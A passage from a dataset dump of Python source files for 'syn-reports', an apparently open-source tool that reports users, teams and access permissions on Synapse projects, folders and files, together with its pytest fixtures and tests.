Exception as ex:\n cls._synapse_client = None\n print('Synapse login failed: {0}'.format(str(ex)))\n\n return cls._synapse_client is not None\n\n @classmethod\n def logged_in(cls):\n return cls._synapse_client is not None\n\n @classmethod\n def client(cls):\n if not cls._synapse_client:\n cls.login()\n return cls._synapse_client\n\n @classmethod\n def is_synapse_id(cls, value):\n \"\"\"Gets if a string is a Synapse ID.\n\n Args:\n value: The string to check.\n\n Returns:\n True or False.\n \"\"\"\n if isinstance(value, str):\n return re.match('^syn[0-9]+$', value.strip(), re.IGNORECASE) is not None\n else:\n return False\n\n PROJECT_TYPE_DISPLAY_NAME = 'Project'\n FOLDER_TYPE_DISPLAY_NAME = 'Folder'\n FILE_TYPE_DISPLAY_NAME = 'File'\n LINK_TYPE_DISPLAY_NAME = 'Line'\n TABLE_TYPE_DISPLAY_NAME = 'Table'\n\n CONCRETE_TYPE_MAPPING = {\n 'org.sagebionetworks.repo.model.FileEntity': FILE_TYPE_DISPLAY_NAME,\n 'org.sagebionetworks.repo.model.Folder': FOLDER_TYPE_DISPLAY_NAME,\n 'org.sagebionetworks.repo.model.Link': LINK_TYPE_DISPLAY_NAME,\n 'org.sagebionetworks.repo.model.Project': PROJECT_TYPE_DISPLAY_NAME,\n 'org.sagebionetworks.repo.model.table.TableEntity': TABLE_TYPE_DISPLAY_NAME\n }\n\n @classmethod\n def _extract_concrete_type(cls, obj):\n result = obj\n if not isinstance(obj, str):\n for key in ['concreteType', 'type']:\n if key in obj:\n result = obj[key]\n break\n\n if str(result) not in cls.CONCRETE_TYPE_MAPPING.keys():\n raise ValueError('Cannot extract type from: {0}'.format(obj))\n\n return result\n\n @classmethod\n def entity_type_display_name(cls, concrete_type):\n concrete_type = cls._extract_concrete_type(concrete_type)\n return cls.CONCRETE_TYPE_MAPPING.get(concrete_type, 'Unknown Type: {0}'.format(concrete_type))\n\n @classmethod\n def is_project(cls, concrete_type):\n return cls.entity_type_display_name(concrete_type) == cls.PROJECT_TYPE_DISPLAY_NAME\n\n @classmethod\n def is_folder(cls, concrete_type):\n return cls.entity_type_display_name(concrete_type) == cls.FOLDER_TYPE_DISPLAY_NAME\n\n @classmethod\n def is_file(cls, concrete_type):\n return cls.entity_type_display_name(concrete_type) == cls.FILE_TYPE_DISPLAY_NAME\n\n @classmethod\n def delete_skip_trash(cls, obj):\n return cls.client().restDELETE(uri='/entity/{0}?skipTrashCan=true'.format(obj.get('id')))\n\n @classmethod\n def users_teams(cls, user_id):\n \"\"\"Gets all the teams a user is part of.\n\n Args:\n user_id:\n\n Returns:\n\n \"\"\"\n for item in cls.client()._GET_paginated('/user/{0}/team/'.format(user_id)):\n yield item\n\n @classmethod\n def users_project_access(cls, user_id, **kwparams):\n \"\"\" Gets the Projects a user has access to.\n\n https://rest-docs.synapse.org/rest/GET/projects/user/principalId.html\n\n Args:\n user_id: The user ID to get activity for.\n **kwparams: Params for the GET request.\n\n Returns:\n Generator\n \"\"\"\n request = (kwparams or {})\n\n response = {\"nextPageToken\": \"first\"}\n while response.get('nextPageToken') is not None:\n url_params = urllib.parse.urlencode(request)\n uri = '/projects/user/{0}?{1}'.format(user_id, url_params)\n\n response = cls.client().restGET(uri)\n for child in response['results']:\n yield child\n request['nextPageToken'] = response.get('nextPageToken', None)\n\n class WithCache:\n LRU_MAXSIZE = (os.cpu_count() or 1) * 16\n\n @classmethod\n @functools.lru_cache(maxsize=LRU_MAXSIZE, typed=True)\n def get_user(cls, username_or_id):\n try:\n return SynapseProxy.client().getUserProfile(username_or_id, refresh=True)\n except (ValueError, syn.core.exceptions.SynapseHTTPError):\n return None\n\n @classmethod\n @functools.lru_cache(maxsize=LRU_MAXSIZE, typed=True)\n def get_team(cls, team_id_or_name):\n try:\n return SynapseProxy.client().getTeam(team_id_or_name)\n except (ValueError, syn.core.exceptions.SynapseHTTPError):\n return None\n\n @classmethod\n @functools.lru_cache(maxsize=LRU_MAXSIZE, typed=True)\n def get_user_or_team(cls, user_id_or_team_id):\n # NOTE: User and Team IDs do NOT overlap in Synapse.\n return SynapseProxy.WithCache.get_user(user_id_or_team_id) or \\\n SynapseProxy.WithCache.get_team(user_id_or_team_id)\n\n @classmethod\n @functools.lru_cache(maxsize=LRU_MAXSIZE, typed=True)\n def get_team_members(cls, team_id):\n try:\n return list(SynapseProxy.client().getTeamMembers(team_id))\n except (ValueError, syn.core.exceptions.SynapseHTTPError):\n return []\n\n @classmethod\n @functools.lru_cache(maxsize=LRU_MAXSIZE, typed=True)\n def get_team_open_invitations(cls, team_id):\n try:\n return list(SynapseProxy.client().get_team_open_invitations(team_id))\n except (ValueError, syn.core.exceptions.SynapseHTTPError):\n return []\n\n class Permissions:\n ADMIN = [\n 'UPDATE',\n 'DELETE',\n 'CHANGE_PERMISSIONS',\n 'CHANGE_SETTINGS',\n 'CREATE',\n 'DOWNLOAD',\n 'READ',\n 'MODERATE'\n ]\n\n CAN_EDIT_AND_DELETE = [\n 'DOWNLOAD',\n 'UPDATE',\n 'CREATE',\n 'DELETE',\n 'READ'\n ]\n\n CAN_EDIT = [\n 'DOWNLOAD',\n 'UPDATE',\n 'CREATE',\n 'READ'\n ]\n\n CAN_DOWNLOAD = [\n 'DOWNLOAD',\n 'READ'\n ]\n\n CAN_VIEW = [\n 'READ'\n ]\n\n TEAM_MANAGER = [\n 'SEND_MESSAGE',\n 'READ',\n 'UPDATE',\n 'TEAM_MEMBERSHIP_UPDATE',\n 'DELETE'\n ]\n\n @classmethod\n def name(cls, codes):\n codes = set(codes)\n if set(cls.ADMIN) == codes:\n return 'Administrator'\n elif set(cls.CAN_DOWNLOAD) == codes:\n return 'Can download'\n elif set(cls.CAN_VIEW) == codes:\n return 'Can view'\n elif set(cls.CAN_EDIT) == codes:\n return 'Can edit'\n elif set(cls.CAN_EDIT_AND_DELETE) == codes:\n return 'Can edit & delete'\n"
},
{
"alpha_fraction": 0.7099786400794983,
"alphanum_fraction": 0.7134471535682678,
"avg_line_length": 43.0941162109375,
"blob_id": "15fb040b5ded1d9d218bac91bc476bb1ab0fadbc",
"content_id": "c3d8d16a6f44cf877a5e6e4f20ced1591b026cf0",
"detected_licenses": [
"Apache-2.0"
],
"is_generated": false,
"is_vendor": false,
"language": "Python",
"length_bytes": 3748,
"license_type": "permissive",
"max_line_length": 99,
"num_lines": 85,
"path": "/tests/syn_reports/commands/user_teams_report/test_user_teams_report.py",
"repo_name": "pcstout/syn-reports",
"src_encoding": "UTF-8",
"text": "import pytest\nimport os\nfrom src.syn_reports.commands.user_teams_report import UserTeamsReport\nfrom src.syn_reports.core.synapse_proxy import SynapseProxy\n\n\[email protected](scope='session')\ndef syn_user(syn_client):\n return syn_client.getUserProfile(os.environ.get('SYNAPSE_USERNAME'))\n\n\ndef assert_user_success_from_print(capsys, user, *teams):\n captured = capsys.readouterr()\n assert captured.err == ''\n assert 'Username: {0} ({1})'.format(user.userName, user.ownerId) in captured.out\n for team in teams:\n assert 'Team: {0} ({1})'.format(team.name, team.id) in captured.out\n\n\ndef assert_success_from_csv(csv_full_path, user, *teams):\n assert os.path.isfile(csv_full_path)\n with open(csv_full_path, mode='r') as f:\n contents = f.read()\n assert user.ownerId in contents\n assert user.userName in contents\n for team in teams:\n assert team.id in contents\n assert team.name in contents\n\n\ndef test_it_reports_by_user_id(capsys, syn_user, syn_team):\n UserTeamsReport(syn_user.ownerId).execute()\n assert_user_success_from_print(capsys, syn_user, syn_team)\n\n\ndef test_it_reports_by_username(capsys, syn_user, syn_team):\n UserTeamsReport(syn_user.userName).execute()\n assert_user_success_from_print(capsys, syn_user, syn_team)\n\n\ndef test_it_does_not_blowup_if_user_not_found(capsys, synapse_test_helper):\n username = synapse_test_helper.uniq_name(prefix='Invalid-User')\n UserTeamsReport(username).execute()\n captured = capsys.readouterr()\n assert 'Could not find user matching: {0}'.format(username) in captured.err\n\n\ndef test_it_outputs_csv_to_dir(capsys, synapse_test_helper, syn_user, syn_team):\n out_dir = synapse_test_helper.create_temp_dir()\n report = UserTeamsReport(syn_user.userName, out_path=out_dir)\n report.execute()\n assert_user_success_from_print(capsys, syn_user, syn_team)\n assert_success_from_csv(report._csv_full_path, syn_user, syn_team)\n\n\ndef test_it_outputs_csv_to_file(capsys, synapse_test_helper, syn_user, syn_team):\n out_file = os.path.join(synapse_test_helper.create_temp_dir(), 'outfile.csv')\n report = UserTeamsReport(syn_user.userName, out_path=out_file)\n report.execute()\n assert report._csv_full_path == out_file\n assert_user_success_from_print(capsys, syn_user, syn_team)\n assert_success_from_csv(report._csv_full_path, syn_user, syn_team)\n\n\ndef test_it_reports_on_has_member(capsys, syn_user, syn_team, mocker, synapse_test_helper):\n # Has the member\n UserTeamsReport(syn_user.ownerId, required_member_ids_or_usernames=syn_user.userName).execute()\n assert_user_success_from_print(capsys, syn_user, syn_team)\n\n # Aborts if cannot find the 'required_member'\n fake_username = synapse_test_helper.uniq_name(prefix='notarealusername')\n UserTeamsReport(syn_user.ownerId, required_member_ids_or_usernames=fake_username).execute()\n captured = capsys.readouterr()\n assert 'Could not find user matching: {0}. Aborting.'.format(fake_username) in captured.err\n assert fake_username not in captured.out\n assert 'Username: {0} ({1})'.format(syn_user.userName, syn_user.ownerId) not in captured.out\n assert 'Team: {0} ({1})'.format(syn_team.name, syn_team.id) not in captured.out\n\n # Does not have the member in the team\n mocker.patch('src.syn_reports.core.synapse_proxy.SynapseProxy.WithCache.get_team_members',\n return_value=[])\n UserTeamsReport(syn_user.ownerId, required_member_ids_or_usernames=syn_user.userName).execute()\n captured = capsys.readouterr()\n assert 'Only including teams that have members: {0}'.format(syn_user.userName) in captured.out\n assert 'Team: {0} ({1})'.format(syn_team.name, syn_team.id) not in captured.out\n"
},
{
"alpha_fraction": 0.5053728222846985,
"alphanum_fraction": 0.5086290836334229,
"avg_line_length": 37.38750076293945,
"blob_id": "0e0a3ab0a1b1cfb2b90d454fd0735a4ce0854dd5",
"content_id": "d1d8a9300ed3b92fad89abe88244cde208c38b6d",
"detected_licenses": [
"Apache-2.0"
],
"is_generated": false,
"is_vendor": false,
"language": "Python",
"length_bytes": 3071,
"license_type": "permissive",
"max_line_length": 119,
"num_lines": 80,
"path": "/src/syn_reports/commands/team_access_report/team_access_report.py",
"repo_name": "pcstout/syn-reports",
"src_encoding": "UTF-8",
"text": "import os\nimport csv\nfrom ...core import SynapseProxy, Utils\n\n\nclass TeamAccessReport:\n \"\"\"\n This report shows all the users on a team.\n \"\"\"\n\n def __init__(self, team_ids_or_names, out_path=None):\n self._team_ids_or_names = team_ids_or_names\n if self._team_ids_or_names and not isinstance(self._team_ids_or_names, list):\n self._team_ids_or_names = [self._team_ids_or_names]\n self._out_path = Utils.expand_path(out_path) if out_path else None\n self._csv_full_path = None\n self._csv_file = None\n self._csv_writer = None\n self.errors = []\n\n CSV_HEADERS = ['team_id',\n 'team_name',\n 'entity_type',\n 'entity_id',\n 'entity_name',\n 'permission_level']\n\n def execute(self):\n raise NotImplementedError('This command has not been completed.')\n SynapseProxy.login()\n\n if self._out_path:\n if self._out_path.lower().endswith('.csv'):\n self._csv_full_path = self._out_path\n else:\n self._csv_full_path = os.path.join(self._out_path, 'team-access-{0}.csv'.format(Utils.timestamp_str()))\n Utils.ensure_dirs(os.path.dirname(self._csv_full_path))\n self._csv_file = open(self._csv_full_path, mode='w', newline='', encoding='utf-8')\n self._csv_writer = csv.DictWriter(self._csv_file,\n delimiter=',',\n quotechar='\"',\n fieldnames=self.CSV_HEADERS,\n quoting=csv.QUOTE_ALL)\n self._csv_writer.writeheader()\n try:\n for id_or_name in self._team_ids_or_names:\n self._report_on_team(id_or_name)\n finally:\n if self._csv_file:\n self._csv_file.close()\n if self._csv_full_path:\n print('Report saved to: {0}'.format(self._csv_full_path))\n return self\n\n def _report_on_team(self, id_or_name):\n print('=' * 80)\n print('Looking up team: \"{0}\"...'.format(id_or_name))\n try:\n team = SynapseProxy.client().getTeam(id_or_name)\n except ValueError:\n # Team does not exist.\n pass\n except Exception as ex:\n self._show_error('Error loading team: {0}'.format(ex))\n\n if team:\n try:\n team_id = team['id']\n team_name = team['name']\n print('Team: {0} ({1})'.format(team_name, team_id))\n # TODO: How do we get the entities this team has access to?\n raise NotImplementedError()\n except Exception as ex:\n self._show_error('Error loading team data: {0}'.format(ex))\n else:\n self._show_error('Team does not exist or you do not have access to the team.')\n\n def _show_error(self, msg):\n self.errors.append(msg)\n Utils.eprint(msg)\n"
},
{
"alpha_fraction": 0.6226415038108826,
"alphanum_fraction": 0.6226415038108826,
"avg_line_length": 53.55882263183594,
"blob_id": "a15d39d2f9a11f233f69d1f30a407675f0963fe5",
"content_id": "30fc0aa54cc16a5b51c717386993d605fc016aa5",
"detected_licenses": [
"Apache-2.0"
],
"is_generated": false,
"is_vendor": false,
"language": "Python",
"length_bytes": 1855,
"license_type": "permissive",
"max_line_length": 191,
"num_lines": 34,
"path": "/src/syn_reports/commands/benefactor_permissions_report/cli.py",
"repo_name": "pcstout/syn-reports",
"src_encoding": "UTF-8",
"text": "from .benefactor_permissions_report import BenefactorPermissionsReport\n\n\ndef create(subparsers, parents):\n parser = subparsers.add_parser('benefactor-permissions',\n parents=parents,\n help='Report the unique permissions on a Synapse entity and all its child entities.')\n parser.add_argument('entities',\n nargs='*',\n help='The IDs and/or names of the entities to report on. Will report on all Projects the user has access to if not set.')\n parser.add_argument('-o', '--out-path', default=None,\n help='Path to export the report to. Specify a path that ends in \".csv\" to export to a specific file otherwise a timestamped filename will be created in the out-path.')\n parser.add_argument('--out-file-prefix', help='The prefix to use for each CSV file that is created.')\n parser.add_argument('--out-file-per-entity', default=False,\n action='store_true',\n help='Create one CSV file per entity reported on.')\n parser.add_argument('--out-file-without-timestamp', default=False,\n action='store_true',\n help='Exclude the timestamp in each CSV file\\'s name.')\n parser.add_argument('--out-file-name-max-length', type=int,\n help='The max length of the CSV file name (minus the extension).')\n\n parser.set_defaults(_execute=execute)\n\n\ndef execute(args):\n return BenefactorPermissionsReport(\n args.entities,\n out_path=args.out_path,\n out_file_prefix=args.out_file_prefix,\n out_file_per_entity=args.out_file_per_entity,\n out_file_without_timestamp=args.out_file_without_timestamp,\n out_file_name_max_length=args.out_file_name_max_length\n ).execute()\n"
},
{
"alpha_fraction": 0.5598857998847961,
"alphanum_fraction": 0.5635974407196045,
"avg_line_length": 43.903846740722656,
"blob_id": "f849218ca72e7baf28cdbed6fba9570564679e44",
"content_id": "85aa0cf78094c2603003af0663d8fa140dd43250",
"detected_licenses": [
"Apache-2.0"
],
"is_generated": false,
"is_vendor": false,
"language": "Python",
"length_bytes": 7005,
"license_type": "permissive",
"max_line_length": 118,
"num_lines": 156,
"path": "/src/syn_reports/commands/benefactor_permissions_report/benefactor_view.py",
"repo_name": "pcstout/syn-reports",
"src_encoding": "UTF-8",
"text": "import uuid\nimport synapseclient as syn\nfrom ...core import Utils, SynapseProxy\nfrom synapseclient.core.exceptions import SynapseHTTPError\n\n\nclass BenefactorView(list):\n COL_BENEFACTORID = 'benefactorId'\n COL_PROJECTID = 'projectId'\n\n def __init__(self):\n self.scope = None\n self.view_project = None\n\n def set_scope(self, scope, clear=True):\n \"\"\"Load a new scope object and optionally clear the benefactor list data.\n\n Args:\n scope: The Project, Folder, or File to scope the view to.\n clear: Whether to clear the loaded benefactor list data or not.\n \"\"\"\n if clear:\n self.clear()\n self.scope = scope\n self.load()\n\n def load(self):\n try:\n if type(self.scope) in [syn.Project, syn.Folder, syn.File]:\n self._add_single_scope_item(self.scope)\n\n if type(self.scope) in [syn.Project, syn.Folder]:\n if self.view_project is None:\n self._create_project()\n\n # Create a view and load the uniq benefactors for each folder and file in the scoped container.\n self._create_folder_and_file_view()\n else:\n raise Exception('Scope entity must be a Project, Folder, or File.')\n except Exception as ex:\n Utils.eprint(ex)\n raise\n\n def _create_folder_and_file_view(self):\n \"\"\"Creates a view for all the folders and files within the current scope object.\n If a view cannot be created this method will fallback to adding each folder/file individually.\n \"\"\"\n try:\n self._query_view(self._create_view([syn.EntityViewType.FOLDER, syn.EntityViewType.FILE]))\n except SynapseHTTPError as ex:\n if 'scope exceeds the maximum number' in str(ex):\n print('Cannot create Folder/File view for: {0}. Falling back to individual loading and views.'.format(\n self.scope.name))\n self._fallback_add_folders_and_files()\n\n def _fallback_add_folders_and_files(self):\n \"\"\"This will add the benefactor data into self for each folder and file in the current scope,\n then it will try to view load each folder. If a folder cannot be view loaded it will recurse through\n this method until a folder that can be view loaded is found or each folder/file has been added individually.\n\n Synapse has a limit of 20,000 objects in a container. If one of the projects or folders exceeds this number\n then we need to fallback to loading the benefactor data this way.\n \"\"\"\n child_items = list(SynapseProxy.client().getChildren(self.scope, includeTypes=[\"folder\", \"file\"]))\n folder_ids = []\n\n # Manually add each folder and file in the scope that couldn't be loaded via a view.\n child_added_count = 0\n for child_item in child_items:\n child_type_name = SynapseProxy.entity_type_display_name(child_item)\n child_item_id = child_item['id']\n child_added_count += 1\n print(' - Adding {0}: {1} [{2}/{3}]'.format(child_type_name,\n child_item_id,\n child_added_count,\n len(child_items)))\n self._add_single_scope_item(child_item_id)\n if SynapseProxy.is_folder(child_item):\n folder_ids.append(child_item_id)\n\n # Try to load the folders with views.\n folder_added_count = 0\n for folder_id in folder_ids:\n folder_added_count += 1\n syn_folder = SynapseProxy.client().get(folder_id)\n print(' - Creating View for Folder: {0} ({1}) [{2}/{3}]'.format(syn_folder.id,\n syn_folder.name,\n folder_added_count,\n len(folder_ids)))\n self.set_scope(syn_folder, clear=False)\n\n def _add_single_scope_item(self, entity_or_id):\n \"\"\"Gets the benefactor data for a single entity and adds it to self.\n\n Args:\n entity_or_id: The entity (or entity ID) to add benefactor data for.\n\n Returns:\n None\n \"\"\"\n entity_id = entity_or_id['id'] if isinstance(entity_or_id, syn.Entity) else entity_or_id\n\n paths = SynapseProxy.client().restGET('/entity/{0}/path'.format(entity_id)).get('path')\n project_id = next((p for p in paths if p['type'] == 'org.sagebionetworks.repo.model.Project'))['id']\n\n benefactor_id = SynapseProxy.client()._getBenefactor(entity_id).get('id')\n self._add_item(benefactor_id, project_id)\n\n def _query_view(self, view):\n query = 'SELECT DISTINCT {0},{1} FROM {2}'.format(self.COL_BENEFACTORID, self.COL_PROJECTID, view.id)\n query_result = SynapseProxy.client().tableQuery(query=query, resultsAs='csv')\n\n col_benefactorid = self._get_table_column_index(query_result.headers, self.COL_BENEFACTORID)\n col_projectid = self._get_table_column_index(query_result.headers, self.COL_PROJECTID)\n\n for row in query_result:\n self._add_item(row[col_benefactorid], row[col_projectid])\n\n def _add_item(self, benefactor_id, project_id):\n item = {\n 'benefactor_id': benefactor_id,\n 'project_id': project_id\n }\n if item not in self:\n self.append(item)\n\n def _get_table_column_index(self, headers, column_name):\n \"\"\"Gets the column index for a Synapse Table Column.\n \"\"\"\n for index, item in enumerate(headers):\n if item.name == column_name:\n return index\n\n def _create_project(self):\n name = '_TEMP_{0}_VIEW_PROJECT_'.format(str(uuid.uuid4()))\n self.view_project = SynapseProxy.client().store(syn.Project(name=name))\n\n def _create_view(self, entity_types):\n name = '_TEMP_{0}_VIEW_'.format(str(uuid.uuid4()))\n cols = [\n syn.Column(name=self.COL_BENEFACTORID, columnType='ENTITYID'),\n syn.Column(name=self.COL_PROJECTID, columnType='ENTITYID')\n ]\n schema = syn.EntityViewSchema(name=name,\n columns=cols,\n properties=None,\n parent=self.view_project,\n scopes=[self.scope],\n includeEntityTypes=entity_types,\n addDefaultViewColumns=False,\n addAnnotationColumns=False)\n return SynapseProxy.client().store(schema)\n\n def delete(self):\n if self.view_project:\n SynapseProxy.delete_skip_trash(self.view_project)\n"
},
{
"alpha_fraction": 0.7138480544090271,
"alphanum_fraction": 0.7150735259056091,
"avg_line_length": 28.14285659790039,
"blob_id": "6a5656194d9f30bcdbec56bcf1c35b2b70c63811",
"content_id": "01bed798c42fd5f7810e8d2ff545a78e7207b4d6",
"detected_licenses": [
"Apache-2.0"
],
"is_generated": false,
"is_vendor": false,
"language": "Python",
"length_bytes": 1632,
"license_type": "permissive",
"max_line_length": 107,
"num_lines": 56,
"path": "/tests/conftest.py",
"repo_name": "pcstout/syn-reports",
"src_encoding": "UTF-8",
"text": "import pytest\nfrom synapse_test_helper import SynapseTestHelper\nfrom src.syn_reports.core import SynapseProxy\nfrom src.syn_reports.cli import main as cli_main\nfrom dotenv import load_dotenv\n\nload_dotenv()\n\n\[email protected](scope='session', autouse=True)\ndef syn_client():\n SynapseTestHelper.configure(SynapseProxy.client())\n return SynapseProxy.client()\n\n\[email protected](scope='session')\ndef synapse_test_helper():\n with SynapseTestHelper() as sth:\n yield sth\n\n\[email protected](scope='session')\ndef syn_project(synapse_test_helper):\n return synapse_test_helper.create_project(prefix='Project-')\n\n\[email protected](scope='session')\ndef syn_project2(synapse_test_helper):\n return synapse_test_helper.create_project(prefix='Project2-')\n\n\[email protected](scope='session')\ndef syn_folder(synapse_test_helper, syn_project):\n return synapse_test_helper.create_folder(parent=syn_project, prefix='Folder-')\n\n\[email protected](scope='session')\ndef syn_file(synapse_test_helper, syn_project):\n return synapse_test_helper.create_file(parent=syn_project, path=synapse_test_helper.create_temp_file(),\n prefix='File-')\n\n\[email protected](scope='session')\ndef syn_team(synapse_test_helper, syn_client):\n return synapse_test_helper.create_team()\n\n\[email protected](scope='session')\ndef expect_cli_exit_code():\n def _fn(command, expected_code, *args):\n with pytest.raises(SystemExit) as pytest_wrapped_e:\n cli_main([command, *args])\n assert pytest_wrapped_e.type == SystemExit\n assert pytest_wrapped_e.value.code == expected_code\n\n yield _fn\n"
},
{
"alpha_fraction": 0.8292682766914368,
"alphanum_fraction": 0.8292682766914368,
"avg_line_length": 40,
"blob_id": "c933345152c3f8ada5b9577cffbdd406246a8fe2",
"content_id": "1dc070b90c0071c56c72190e55f2941a715685af",
"detected_licenses": [
"Apache-2.0"
],
"is_generated": false,
"is_vendor": false,
"language": "Python",
"length_bytes": 82,
"license_type": "permissive",
"max_line_length": 48,
"num_lines": 2,
"path": "/src/syn_reports/commands/team_access_report/__init__.py",
"repo_name": "pcstout/syn-reports",
"src_encoding": "UTF-8",
"text": "from .cli import create, execute\nfrom .team_access_report import TeamAccessReport\n"
},
{
"alpha_fraction": 0.5254237055778503,
"alphanum_fraction": 0.5254237055778503,
"avg_line_length": 8.833333015441895,
"blob_id": "17e64ca1b7aa3078cb3e323396b1ce221523c3f7",
"content_id": "f6994d24a3dad9396ed142d14fb82f6382a155ac",
"detected_licenses": [
"Apache-2.0"
],
"is_generated": false,
"is_vendor": false,
"language": "INI",
"length_bytes": 59,
"license_type": "permissive",
"max_line_length": 13,
"num_lines": 6,
"path": "/.coveragerc",
"repo_name": "pcstout/syn-reports",
"src_encoding": "UTF-8",
"text": "[run]\nbranch = True\nsource =\n src\nomit =\n */tests/*\n"
},
{
"alpha_fraction": 0.8541666865348816,
"alphanum_fraction": 0.8541666865348816,
"avg_line_length": 47,
"blob_id": "5b48f0c2f6c1ae15284668211dfae3f0c3e531ef",
"content_id": "e44d7e95dc3dda2274ad86ccf0739ccf4f8b69f1",
"detected_licenses": [
"Apache-2.0"
],
"is_generated": false,
"is_vendor": false,
"language": "Python",
"length_bytes": 96,
"license_type": "permissive",
"max_line_length": 62,
"num_lines": 2,
"path": "/src/syn_reports/commands/entity_permissions_report/__init__.py",
"repo_name": "pcstout/syn-reports",
"src_encoding": "UTF-8",
"text": "from .cli import create, execute\nfrom .entity_permissions_report import EntityPermissionsReport\n"
},
{
"alpha_fraction": 0.49836310744285583,
"alphanum_fraction": 0.5017051100730896,
"avg_line_length": 45.99359130859375,
"blob_id": "f697a1d7c9bffc508ab142f887bacfee147bfdfb",
"content_id": "d87105b0842888ed5020f22c9becebbbc3f82caf",
"detected_licenses": [
"Apache-2.0"
],
"is_generated": false,
"is_vendor": false,
"language": "Python",
"length_bytes": 14662,
"license_type": "permissive",
"max_line_length": 118,
"num_lines": 312,
"path": "/src/syn_reports/commands/benefactor_permissions_report/benefactor_permissions_report.py",
"repo_name": "pcstout/syn-reports",
"src_encoding": "UTF-8",
"text": "import os\nimport csv\nimport synapseclient as syn\nfrom .benefactor_view import BenefactorView\nfrom ...core import SynapseProxy, Utils\n\n\nclass BenefactorPermissionsReport:\n \"\"\"\n This report will show the permissions of each user and team on an entity by using a File View to\n get the unique benefactors. This is much faster than walking the entire Project hierarchy.\n \"\"\"\n\n def __init__(self, entity_ids_or_names, out_path=None,\n out_file_prefix=None, out_file_per_entity=False,\n out_file_without_timestamp=False, out_file_name_max_length=None):\n self._entity_ids_or_names = entity_ids_or_names if entity_ids_or_names is not None else []\n if self._entity_ids_or_names and not isinstance(self._entity_ids_or_names, list):\n self._entity_ids_or_names = [self._entity_ids_or_names]\n self._out_path = Utils.expand_path(out_path) if out_path else None\n self._out_file_prefix = out_file_prefix\n self._out_file_without_timestamp = out_file_without_timestamp\n self._out_file_per_entity = out_file_per_entity\n self._out_file_name_max_length = out_file_name_max_length\n self._csv_full_path = None\n self._csv_file = None\n self._csv_writer = None\n self.csv_files_created = []\n self._view = None\n self.errors = []\n\n CSV_HEADERS = ['entity_type',\n 'entity_id',\n 'entity_name',\n 'entity_parent_id',\n 'entity_project_id',\n 'principal_type',\n 'team_id',\n 'team_name',\n 'is_team_manager',\n 'user_id',\n 'username',\n 'first_name',\n 'last_name',\n 'user_data',\n 'permission_level']\n\n def execute(self):\n SynapseProxy.login()\n\n if self._out_path and not self._out_file_per_entity:\n if not self._start_csv():\n return self\n\n try:\n self._view = BenefactorView()\n\n if not self._entity_ids_or_names:\n user = SynapseProxy.client().getUserProfile()\n print('Loading all Projects accessible to user: {0}'.format(user.userName))\n for activity in SynapseProxy.users_project_access(user.ownerId):\n project_id = activity['id']\n project_name = activity['name']\n self._entity_ids_or_names.append(project_id)\n print(' - Adding Project: {0} ({1})'.format(project_name, project_id))\n\n for id_or_name in self._entity_ids_or_names:\n try:\n print('=' * 80)\n print('Looking up entity: \"{0}\"...'.format(id_or_name))\n entity = self._find_entity(id_or_name)\n if entity:\n entity_type = SynapseProxy.entity_type_display_name(entity)\n entity_name = entity['name']\n if self._out_path and self._out_file_per_entity:\n if not self._start_csv(project_name=entity_name):\n return self\n\n print('{0}: {1} ({2}) found.'.format(entity_type, entity_name, entity['id']))\n print('Creating Temporary Project and Views...')\n self._view.set_scope(entity)\n self._report_on_view()\n if self._out_path and self._out_file_per_entity:\n self._end_csv()\n else:\n self._show_error(\n 'Entity does not exist or you do not have access to the entity: {0}'.format(id_or_name))\n except Exception as ex:\n self._show_error('ERROR: {0}'.format(ex))\n finally:\n self._end_csv()\n if len(self.csv_files_created) > 0:\n print('')\n print('Report(s) saved to:')\n for csv_file in self.csv_files_created:\n print(csv_file)\n if self._view:\n self._view.delete()\n return self\n\n def _start_csv(self, project_name=None):\n self._end_csv()\n\n if self._out_path.lower().endswith('.csv'):\n if self._out_file_per_entity:\n self._show_error('Out path must be a directory when creating one output file per entity.')\n return False\n if self._out_file_prefix:\n self._show_error('Out path prefix not allowed when creating one output file per entity.')\n return False\n self._csv_full_path = self._out_path\n else:\n prefix = self._out_file_prefix if self._out_file_prefix else 'benefactor-permissions'\n timestamp = '' if self._out_file_without_timestamp else Utils.timestamp_str()\n project_name = project_name if project_name else ''\n\n csv_filename = '-'.join([s for s in [prefix, timestamp, project_name] if s])\n\n if self._out_file_name_max_length:\n csv_filename = csv_filename[:self._out_file_name_max_length]\n\n csv_filename = csv_filename + '.csv'\n self._csv_full_path = os.path.join(self._out_path, csv_filename)\n\n Utils.ensure_dirs(os.path.dirname(self._csv_full_path))\n self._csv_file = open(self._csv_full_path, mode='w', newline='', encoding='utf-8')\n self._csv_writer = csv.DictWriter(self._csv_file,\n delimiter=',',\n quotechar='\"',\n fieldnames=self.CSV_HEADERS,\n quoting=csv.QUOTE_ALL)\n self._csv_writer.writeheader()\n self.csv_files_created.append(self._csv_full_path)\n return True\n\n def _end_csv(self):\n if self._csv_file:\n self._csv_file.close()\n self._csv_file = None\n self._csv_writer = None\n\n def _show_error(self, msg):\n self.errors.append(msg)\n Utils.eprint(msg)\n\n def _find_entity(self, id_or_name):\n entity = None\n try:\n if SynapseProxy.is_synapse_id(id_or_name):\n syn_id_to_load = id_or_name\n else:\n syn_id_to_load = SynapseProxy.client().findEntityId(id_or_name)\n\n if syn_id_to_load:\n entity = SynapseProxy.client().get(syn_id_to_load)\n except syn.core.exceptions.SynapseHTTPError:\n # Entity does not exist.\n pass\n except Exception as ex:\n self._show_error('Error loading entity: {0}'.format(ex))\n return entity\n\n def _report_on_view(self):\n for item in self._view:\n try:\n benefactor_id = item['benefactor_id']\n entity_project_id = item['project_id']\n\n entity = SynapseProxy.client().get(benefactor_id)\n entity_type = SynapseProxy.entity_type_display_name(entity)\n print('{0}: {1} ({2})'.format(entity_type, entity['name'], entity['id']))\n\n # NOTE: Do not use syn._getACL() as it will raise an error if the entity inherits its ACL and\n # it is slower as it will make an API call to get the benefactorId.\n entity_acl = SynapseProxy.client().restGET('/entity/{0}/acl'.format(entity.id))\n # Get the resource access items and sort them so they can be compared.\n resource_accesses = sorted(entity_acl.get('resourceAccess', []), key=lambda r: r.get('principalId'))\n for resource in resource_accesses:\n resource.get('accessType').sort()\n\n for resource in resource_accesses:\n user_or_team = SynapseProxy.WithCache.get_user_or_team(resource.get('principalId'))\n permission_level = SynapseProxy.Permissions.name(resource.get('accessType'))\n\n self._display_principal(entity, entity_type, entity_project_id, permission_level, user_or_team)\n\n if isinstance(user_or_team, syn.Team):\n team_members = SynapseProxy.WithCache.get_team_members(user_or_team.id)\n for team_member in team_members:\n is_team_manager = team_member.get('isAdmin')\n member = team_member.get('member')\n user_id = member.get('ownerId')\n user = 